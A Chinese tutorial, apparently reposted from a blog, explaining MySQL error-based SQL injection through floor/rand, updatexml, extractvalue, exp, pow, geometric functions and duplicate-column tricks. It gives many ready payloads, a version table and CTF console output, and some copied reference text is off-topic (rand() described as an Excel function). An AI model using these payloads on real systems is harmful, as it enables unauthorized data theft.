审计思路
-
代码中带入查询的参数没有经过任何过滤并产生报错,具有报错信息提示,就可以用报错查询。
-
常用报错检测符号:’ \ ; %00 ) ( # "
-
报错函数通常尤其最长报错输出的限制,面对这种情况,可以进行分割输出。
-
特殊函数的特殊参数进运行一个字段、一行数据的返回,使用group_concat等函数聚合数据即可。
报错语句
id=4 and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a));
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
报错函数查询表
类别 | 函数 | 版本需求 | 5.5.x | 5.6.x | 5.7.x | 8.x | 函数显错长度 | Mysql报错内容长度 | 额外限制 |
---|---|---|---|---|---|---|---|---|---|
主键重复 | floor round | ❓ | ✔️ | ✔️ | ✔️ | 64 | data_type ≠ varchar | ||
列名重复 | name_const | ❓ | ✔️ | ✔️ | ✔️ | ✔️ | only version() | ||
列名重复 | join | [5.5.49, ?) | ✔️ | ✔️ | ✔️ | ✔️ | only columns | ||
数据溢出 - Double | 1e308 cot exp pow | [5.5.5, 5.5.48] | ✔️ | MYSQL_ERRMSG_SIZE | |||||
数据溢出 - BIGINT | 1+~0 | [5.5.5, 5.5.48] | ✔️ | MYSQL_ERRMSG_SIZE | |||||
几何对象 | geometrycollection linestring multipoint multipolygon multilinestring polygon | [?, 5.5.48] | ✔️ | 244 | |||||
空间函数 Geohash | ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash | [5.7, ?) | ✔️ | ✔️ | 128 | ||||
GTID | gtid_subset gtid_subtract | [5.6.5, ?) | ✔️ | ✔️ | ✔️ | 200 | |||
JSON | json_* | [5.7.8, 5.7.11] | ✔️ | 200 | |||||
UUID | uuid_to_bin bin_to_uuid | [8.0, ?) | ✔️ | 128 | |||||
XPath | extractvalue updatexml | [5.1.5, ?) | ✔️ | ✔️ | ✔️ | ✔️ | 32 |
floor报错
简述
floor报错注入也有叫group报错注入的,都一样,指的都是他们。
报错现象
查询语句
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
产生错误
如图可知产生报错的原因是"security1"主键重复报错
函数讲解
rand
简介
rand()函数是Excel中产生随机数的一个随机函数。返回的随机数是大于等于 0 及小于 1 的均匀分布随机实数9),rand()函数每次计算工作表时都将返回一个新的随机实数。
中文名 | rand()函数 |
---|---|
外文名 | rand() Function |
语 法 | rand() |
功 能 | 产生随机数 |
应 用 | Excel |
特 点 | 返回值介于[0,1) |
应用示例
公式 | 说明(结果) |
---|---|
=RAND() | 介于 0 到 1 之间的一个随机数(变量) |
=RAND()*100 | 大于等于 0 但小于 100 的一个随机数(变量) |
floor
简介
floor函数,其功能是“向下取整”,或者说“向下舍入”、“向零取舍”,即取不大于x的最大整数,与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个整数值。
中文名 | 向下取整函数 |
---|---|
外文名 | floor function |
功 能 | 计算不大于给定值的最大整数 |
所属领域 | 数学库函数 |
返回值 | 不大于给定值的最大整数值 |
应用示例
concat
concat(str1,str2,str3…) 字符串连接函数 注意,中间只要字符串有一个为空,最后结果也为空
floor(rand(0)*2)
前面讲了floor,concat,rand函数的使用方法,那么就解释了“security1”后面1是怎么来的
group by 与count(*)
count
count(*) 统计某个表下总共有多少条记录,表中存在的数据,这是一个聚合函数,返回值的数目,它与concat()的区别是它不排除NULL。
group by
GroupBy语句从英文的字面意义上理解就是“根据(by)一定的规则进行分组(Group)”。它的作用是通过一定的规则将一个数据集划分成若干个小的区域,然后针对若干个小区域进行数据处理。
group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中,注意是插入。
报错原理
group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次,然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错
例子(结合上面的floor(rand(0)*2)的图看)
当group by 取第一条from 表记录时,此时group by的是’security0’,发现临时表中并没有’security0’的主键,注意,这个时候rand(0)*2会再计算一次,经floor()后,率先插入临时表的主键不是security0,而是security1,并计数1。
然后取第二条记录,第二条记录group by 的key中的01仍由floor(rand(0)*2)继续计算获得,也就是security1。此时临时表中已经有security1的主键了,所以count(*)直接加1就可以。
继续从from的表中取第三条记录,再次计算floor(rand(0)*2),结果为0,与database()拼接为security0,临时表的主键中并不存在,在插入前,floor(rand(0)*2)又计算一次,拼接后与secruity1,但是是直接插入,即使临时表中已经有了主键security1也硬要插入,从而导致主键重复报错,也就是:ERROR 1062 (23000): Duplicate entry ‘security1’ for key ‘group_key’。
语句
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
链接: 参考资料.
xpath语法报错
updatexml与extractvalue都是基于xpath语法进行报错的,这里讲一下updatexml的使用方法,extractvalue也与其类似。
函数讲解
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
可以理解为:
语法updatexml(目标xml文档,xml路径,更新的内容),其中路径需要满足xpath格式
语句
and updatexml(1,concat(0x7e,(查询语句),0x7e),1)
and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
整数溢出报错
exp
exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后~取反它的值总会大于709所以报错,适用版本:5.5.5~5.5.49,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错,~符号为运算符,意思为一元字符反转
语句
注意:这里必须使用嵌套,因为不使用嵌套不加select*from 无法大整数溢出
exp(~(select * from(查询语句)a))
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
pow
pow函数简介
1.功能:计算x的y次幂。
2.返回值:x不能为负数且y为小数,或者x为0且y小于等于0,返回幂指数 的结果。
3.返回类型:double型,int,float会给与警告!
pow(x,y)表示计算x的y次方,当计算值过大时,会发生DOUBLE溢出,数据库报错
mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)'
语句
ysql> select * from ctf_test where user='1' and 1=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=0 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=1 and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'
mysql> select * from ctf_test where user='1' and 1=0 and pow(999,999);
Empty set (0.00 sec)
如果在sql语句中有出现语法错误,则会直接报错,不会被and短路运算所影响,如果是大数溢出报错,则会遵循and短路运算规则。所以可以利用大数溢的特性,替换掉前面的"and 1=1"等类似的条件进行盲注。
cot
cot函数简介
cot是三角函数里的余切三角函数符号,此符号在以前写作ctg。cot坐标系表示:cotθ=x/y,在三角函数中cotθ=cosθ/sinθ,当θ≠kπ,k∈Z时cotθ=1/tanθ (当θ=kπ,k∈Z时,cotθ不存在)。角A的邻边比上角A的对边。
x取值无限接近于0和派的整数倍。取0或派的整数倍报错
语句
与上面的pow函数报错的利用方式类似
mysql> select * from ctf_test where user='2' and 1=1 and cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
列名重复报错
name_const
简介
在mysql中,mysql列名重复会导致报错,而我们可以通过name_const制造一个列
语句
select * from(select name_const(version(),0x1),name_const(version(),0x1))a
但是单独使用name_const只能够报出数据库的版本信息,因为这个方法爆出来的值是常量,但是database()和user()都是变量。
join using
简介
通过系统关键词join可建立两个表之间的内连接。
通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。
并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。
语句
mysql> select * from ctf_test a join ctf_test b;
+------+--------------+------+--------------+
| user | pwd | user | pwd |
+------+--------------+------+--------------+
| 1 | 0 | 1 | 0 |
| 2 | flag{OK_t72} | 1 | 0 |
| 1 | 0 | 2 | flag{OK_t72} |
| 2 | flag{OK_t72} | 2 | flag{OK_t72} |
+------+--------------+------+--------------+
4 rows in set (0.00 sec)
mysql> select * from (select * from ctf_test a join ctf_test b )x;
ERROR 1060 (42S21): Duplicate column name 'user'
mysql> select * from (select * from ctf_test a join ctf_test b using(user))x;
ERROR 1060 (42S21): Duplicate column name 'pwd'
mysql> select * from (select * from ctf_test a join ctf_test b using(user,pwd))x;
+------+--------------+
| user | pwd |
+------+--------------+
| 1 | 0 |
| 2 | flag{OK_t72} |
+------+--------------+
2 rows in set (0.00 sec)
几何函数报错
mysql> select * from ctf_test where user='1' and polygon(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing
mysql> select * from ctf_test where user='1' and linestring(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing
GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))
不存在函数报错
构造不存在的函数进行报错
语句
mysql> select a();
转载:https://blog.csdn.net/qq_38265674/article/details/112385897